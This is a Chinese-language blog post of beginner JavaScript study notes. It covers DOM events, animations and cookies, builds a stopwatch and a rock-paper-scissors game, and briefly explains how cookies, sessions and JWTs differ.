1
2
3
4
const mylist=document.querySelector(".food");
const listitem=document.createElement("div");
listitem.textContent="114514";
mylist.append(listitem);//.preitem、insertBefore()

事件

onclick

way1:

html中

1
2
<button id="mybut" onclick="dosth()">点击我</button>
<script src="index.js"></script>

js中

1
2
3
function dosth(){
alert("You did!");
}

way2:

js

1
2
3
4
5
6
const bt=document.getElementById("mybut");
bt.onclick=dosth;

function dosth(){
alert("You did!");
}

onload:

纯js自动触发

1
2
const ele=document.body;
ele.onload=dosth;

或者去html的body标签,添加onload属性也可以

onmouseover

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//对div的颜色改变
//css,将div原本的背景颜色为蓝色,鼠标移动后变为浅绿
const el=document.getElementById("mydiv");

el.onmouseover=change;
function change(){
el.style.backgroundColor="lightgreen";
}

//离开后恢复为红色
el.onmouseout=change1;
function change1(){
el.style.backgroundColor="red";
}

添加事件

给一个元素添加事件句柄

https://www.runoob.com/jsref/met-element-addeventlistener.html

.addEventListener(event,function,useCapture)

1
2
3
const e=document.getElementById("mydiv");
e.addEventListener("mouseover",()=>e.style.backgroundColor="red");
e.addEventListener("mouseout",()=>e.style.backgroundColor="lightgreen");

看起来与正常函数没什么不同,但它有一个捕获阶段

html

1
2
3
<div id="outerdiv">
<div id="mydiv"></div>
</div>

css

1
2
3
4
5
6
7
8
9
10
11
#mydiv{
background-color:blue;
width:100px;
height:100px;
border: 1px solid;
}
#outerdiv{
background-color:black;
width:200px;
height:200px;
}

js

1
2
3
4
5
6
7
8
const e=document.getElementById("mydiv");
const e1=document.getElementById("outerdiv");
e.addEventListener("click",change);
e1.addEventListener("click",change);
function change(){
alert(`this is ${this.id}`);
this.style.backgroundColor="red";
}

点击内层的div时,所有块都会被红,但这个是冒泡阶段,有触发先后

点击 mydiv,先触发 mydiv,再触发 outerdiv

但你要这样

1
e1.addEventListener("click",change,true);

outerdiv,后 mydiv

keydown

html

1
2
3
4
5
6
7
#mydiv{
background-color:blue;
width:100px;
height:100px;
border: 1px solid;
position:relative;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
const mydiv=document.getElementById("mydiv");
window.addEventListener("keydown",move);
let x=0,y=0;

function move(event){
switch(event.key){
case "ArrowDown":
y+=5;
mydiv.style.top=y+"px";
break;
case "ArrowUp":
y-=5;
mydiv.style.top=y+"px";
break;
case "ArrowLeft":
x-=5;
mydiv.style.left=x+"px";
break;
case "ArrowRight":
x+=5;
mydiv.style.left=x+"px";
break;
default:
break;
}
}

动画效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
//类比于做ppt、剪辑时的一些转场动画
const bt=document.getElementById("mybut");
const mydiv=document.getElementById("mydiv");

bt.addEventListener("click",begin);//添加点击事件

function begin(){
let timerId=null;
let x=0,y=0; //移动
let degress=0; //旋转
let scareX=1,scareY=1;//延伸

timerId=setInterval(frame,5);

function frame(){
//右下角移动
if(x>=200 || y>=200){
clearInterval(timerId);
}
else{
x+=1;
y+=1;
mydiv.style.top=y+"px";
mydiv.style.left=x+"px";
}

//翻转
if(degress>=360){
clearInterval(timerId);
}
else{
degress+=1;
mydiv.style.transform="rotateZ("+degress+"deg)";
//rotateX、rotateY
}

//两功能合并
// if(x>=200 || y>=200){
// clearInterval(timerId);
// }
// else{
// x+=1;
// y+=1;
// degress+=10;
// mydiv.style.top=y+"px";
// mydiv.style.left=x+"px";
// mydiv.style.transform="rotateZ("+degress+"deg)";
// }

//延伸

if(scareX>=2){
clearInterval(timerId);
}
else{
scareX+=0.01;
mydiv.style.transform="scale("+scareX+","+scareY+")";
}
}
}

画布

https://www.runoob.com/w3cnote/html5-canvas-intro.html,到时候再学

  1. beginPath()

    新建一条路径,路径一旦创建成功,图形绘制命令被指向到路径上生成路径

  2. moveTo(x, y)

    把画笔移动到指定的坐标(x, y)。相当于设置路径的起始点坐标。

  3. closePath()

    闭合路径之后,图形绘制命令又重新指向到上下文中

  4. stroke()

    通过线条来绘制图形轮廓

  5. fill()

    通过填充路径的内容区域生成实心的图形

window

表示浏览器窗口

https://www.runoob.com/js/js-window.html

cookies

存储在用户电脑上,用于记住一些用户信息

1
2
3
4
5
6
7
8
9
10
document.cookie="firstName=sdsd;expires=Sun;path=/";
document.cookie="LastName=sdsd;expires=Sun;path=/";
console.log(document.cookie);


function deletecookie(name){
setCookie(name,null,null);
}
deletecookie("123");
console.log(document.cookie);

实战

1.秒表计时

功能有开始,暂停和重置

自己的版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
const mytime=document.getElementById("myclock");
let h=0,m=0,s=0;

let miaobiao=null;
//开始
const start=document.getElementById("start");
start.onclick=()=>{
miaobiao=setInterval(jishi,1000);
start.disabled=true;
pause.disabled=false;
reset.disabled=false;
}
//暂停
const pause=document.getElementById("pause");
pause.onclick=()=>{
clearInterval(miaobiao);
pause.disabled=true;
start.disabled=false;
reset.disabled=false;
}
//重置
const reset=document.getElementById("reset");
reset.onclick=()=>{
clearInterval(miaobiao); //解决1:
miaobiao=null;//否则又会重新执行setInterval
h=0;
m=0;
s=0;
reset.disabled=true;
start.disabled=false;
pause.disabled=false;
mytime.innerHTML=`0${h}:0${m}:0${s}`;
}
function jishi(){

s+=1;
if(s>59){
s=0;
m+=1;
}
if(m>59){
m=0;
h+=1;
}
h1=get0(h);
m1=get0(m);
s1=get0(s);
mytime.innerHTML=`${h1}:${m1}:${s1}`;

//不够填0
function get0(m){
m=m.toString();
return m.length<2?"0"+m:m;
}

}

/*
问题1:如果点了开始,再点重置,暂停就没用了,重置之后也会继续计数
A:见解决1:

问题2:多点几次开始,暂停和重置就无效了
A:看来要将button给失效化,即不能触发点击

*/

优化方案

html

1
2
3
4
5
6
<div id="rongqi">
<div id="myclock">00:00:00</div>
<button id="start" class="but">开始</button>
<button id="pause" class="but">暂停</button>
<button id="reset" class="but">重置</button>
</div>

css

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
.but{
width:80px;
height:30px;
border:3px solid;
background-color: aqua;
cursor:pointer;
font-family: 'Courier New', Courier, monospace;
}
#myclock{
color:blue;
font-size:75px;
font-family:'Franklin Gothic Medium', 'Arial Narrow', Arial, sans-serif;
}
#rongqi{
text-align: center;
border:3px solid;
background-color: black;
}

js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
const mytime=document.querySelector("#myclock");
const mystart=document.querySelector("#start");
const mypause=document.querySelector("#pause");
const myreset=document.querySelector("#reset");
let h=0,m=0,s=0;
let starttime=0;
let elapsedtime=0;
let curtime=0;
let IntervalId;
let paused=true;

mystart.addEventListener("click",()=>{
if(paused){
paused=false;
starttime=Date.now()-elapsedtime;
IntervalId=setInterval(updateTime,75);
}
});
mypause.addEventListener("click",()=>{
if(!paused){
paused=true;
elapsedtime=Date.now()-starttime;
clearInterval(IntervalId);
}

});
myreset.addEventListener("click",()=>{
paused=true;
clearInterval(IntervalId);
h=0;
m=0;
s=0;
starttime=0;
elapsedtime=0;
curtime=0;
mytime.textContent=`00:00:00`;
});

function updateTime(){
elapsedtime=Date.now()-starttime;
s=Math.floor((elapsedtime/1000)%60);
/*
elapsedtime/1000 将毫秒转换为秒
% 60 运算符取余数,确保秒数在 0 到 59 的范围内
Math.floor() 函数将结果向下取整,以确保返回整数值
*/
m=Math.floor((elapsedtime/(1000*60))%60);
h=Math.floor((elapsedtime/(1000*60*60))%60);

s=get0(s);
m=get0(m);
h=get0(h);
mytime.textContent=`${h}:${m}:${s}`;


function get0(unit){
return (("0"+unit).length)>2?unit:"0"+unit;
}
}

image-20231116120524500

2.石头剪刀布

自写代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
//石头剪刀布
const me=document.querySelector("#me");
const pc=document.querySelector("#pc");
const shitou=document.querySelector("#shitou");
const jiandao=document.querySelector("#jiandao");
const bu=document.querySelector("#bu");
const result=document.querySelector("#result");
let res;//石头为1,剪刀为2,布为3
//let x=Math.floor(Math.random()*3+1); //保证在1到3之间

//键值对,方便查找
const map=new Map();
map.set(1,"石头");
map.set(2,"剪刀");
map.set(3,"布");

shitou.addEventListener("click",()=>{
res=1;
x=Math.floor(Math.random()*3+1);
pc.textContent=map.get(x);
me.textContent="石头";
bijiao(x,res);
});
jiandao.addEventListener("click",()=>{
res=2;
x=Math.floor(Math.random()*3+1);
pc.textContent=map.get(x);
me.textContent="剪刀";
bijiao(x,res);
});

bu.addEventListener("click",()=>{
res=3;
x=Math.floor(Math.random()*3+1);
pc.textContent=map.get(x);
me.textContent="布";
bijiao(x,res);
});

function bijiao(p1,p2){
tem=p1-p2;
console.log(tem);
if(tem==-1||tem==2)
{
result.textContent="输了嘞!";
}
else if(tem==-2||tem==1){
result.textContent="赢了嘞!";
}
else result.textContent="平局嘞!";

}

/*
Q1:双方都要同步显示出拳结果
A:
Q2:保证电脑在我点击时随机
*/

优化版本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
const me=document.querySelector("#me");
const pc=document.querySelector("#pc");
const chuquan=document.querySelectorAll(".but");
const result=document.querySelector("#result");
let player,computer,res;
chuquan.forEach(btn => btn.addEventListener("click",()=>{
player=btn.textContent;
cpturn();
//console.log(btn);
//console.log(player);
me.textContent=`${player}`;
pc.textContent=`${computer}`;
res=bijiao();
result.textContent=`展示结果:${res}`;

}));

function cpturn(){//电脑出拳
const x=Math.floor(Math.random()*3)+1;
switch(x){
case 1:
computer="石头";
break;
case 2:
computer="剪刀";
break;
case 3:
computer="布";
break;
}
}

function bijiao(){
if(player==computer){
return "平局啊!";
}
else if(computer=="石头"){
return player=="布"?"赢了嘞!":"输了诶!";
}
else if(computer=="剪刀"){
return player=="石头"?"赢了嘞!":"输了诶!";
}
else if(computer=="布"){
return player=="剪刀"?"赢了嘞!":"输了诶!";
}
}

补充

1.渲染

构建DOM->构建CSSOM->构建渲染树->布局->

2.cookie,session,jwt

https://server.51cto.com/article/662998.html

1.为什么要cookie?

http是无状态的协议,就是说每次访问的时候,服务器回来的信息都是没记忆的,不会专门为某个请求保留信息;每次请求之间都是单独的

而像购物车这种,这次保存了之后,下次登录进来还能看到存放的商品,那就要去 记录 这种用户信息

cookie,一种装载工具

每次请求都要携带这个name=value

然后有个问题就是,看上面的cookie,它的字段可以有很多,一个用户还好,如果有大量用户,那就存储不了多少,所以引入了session。

2.session呢,诞生于服务器,存储在服务器

用户登录后,服务器将这些登录信息,如账号密码等,生成了一个sessionid,发送给客户端,客户端每次请求也是将这个sessionid放到cookie里,去请求,服务器再核对

因为每次请求都要去数据库取一下session,多了一次内部连接,消耗性能了,所以又有jwt

3.jwt,(json web token)

三部分组成,报头、载荷、签名;这个存储在客户端;

当服务器收到传来的token,它会取出前两部分,做一次签名与传来的签名做比对,成功就是合法的。

服务器不存储啊

它具有一次性特征的,是有有效期的

但是并不是说jwt最好,还是各有优缺点

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2023-2025 是羽泪云诶
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~

支付宝
微信